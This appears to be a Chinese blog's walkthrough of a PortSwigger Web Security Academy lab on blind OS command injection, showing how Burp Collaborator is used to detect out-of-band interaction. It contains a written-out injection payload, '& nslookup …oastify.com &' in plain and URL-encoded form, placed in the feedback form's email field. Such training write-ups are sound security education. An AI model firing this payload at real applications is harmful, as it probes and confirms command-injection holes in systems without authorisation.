某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

      • SQL注入

      • 身份验证

      • 目录遍历

      • OS命令注入

        • 学徒-OS命令注入-简单示例
        • 从业者-OS命令盲注-时间延迟
        • 从业者-OS命令盲注-输出重定向
        • 从业者-OS命令盲注-带外交互
          • 题目
          • 实操
        • 从业者-OS命令盲注-带外数据泄露
      • 业务逻辑漏洞

      • 信息泄露

      • 访问控制

      • 文件上传漏洞

      • SSRF漏洞

      • XXE注入漏洞

    • 客户端

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 服务器端
  • OS命令注入
clincat
2023-06-16
目录

从业者-OS命令盲注-带外交互

# 实验室:带外交互的OS命令盲注

# 题目

本实验室的 反馈功能 中存在操作系统命令盲注漏洞。

应用程序执行 包含用户提供的详细信息的 shell 命令。该命令异步执行,对应用程序的响应没有影响。无法将输出 重定向到可以访问的位置。但是,你可以触发与外部域的带外交互。

若要解决实验室问题,请利用 OS命令盲注漏洞向 Burp Collaborator 发出 DNS 查找。

笔记

为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室和任意外部系统之间的交互。要解决实验室问题,必须使用 Burp Collaborator 的默认公共服务器。

实验室-从业者

带外交互的OS命令盲注 >>

- name: 实验室-从业者
  desc: 带外交互的OS命令盲注 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

根据题意,可得实验目标:

  • 在 反馈功能 中,尝试利用 OS命令盲注漏洞,并触发与外部域的带外交互。

点击 “Access the lab” 进入实验室。

Not Found Image

实验室首页如下,在右上角可以看到一个 “Submit feedback” ,点击它进入反馈页面。

Not Found Image

反馈页面如下,填写相应信息,启用浏览器代理 并提交反馈。

Not Found Image

查看 BurpSuite 数据包情况。

Not Found Image

切换至 “Collaborator” 选项卡,点击 “Get started” 启用功能。

Not Found Image

启用功能后,点击 “Copy to clipboard” 获取一个域,它会自动复制到你的剪贴板当中。

Not Found Image

将复制的域 粘贴到空白页中,备用。

Not Found Image

构建注入的命令,通过nslookup命令来触发 对该域的 DNS 查找,对命令进行 URL 编码。

# 编码前
& nslookup b5hhf33mv9g8ia6lf7gr9c0yyp4gs6gv.oastify.com &

# 编码后
%26%20%6e%73%6c%6f%6f%6b%75%70%20%62%35%68%68%66%33%33%6d%76%39%67%38%69%61%36%6c%66%37%67%72%39%63%30%79%79%70%34%67%73%36%67%76%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%20%26
1
2
3
4
5
Not Found Image

将命令注入email参数当中,应用程序并未返回任何错误信息,因为它是 异步执行 的。

Not Found Image

回到 “Collaborator” 选项卡,可以看到 DNS 查询记录,说明注入的命令成功执行,并造成了带外交互。

(如果没有显示记录,则点击 “Poll now” 立即刷新。如果刷新之后还是没有记录,则检查前面的步骤是否有误)

Not Found Image

实验完成。

Not Found Image
编辑 (opens new window)
从业者-OS命令盲注-输出重定向
从业者-OS命令盲注-带外数据泄露

← 从业者-OS命令盲注-输出重定向 从业者-OS命令盲注-带外数据泄露→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式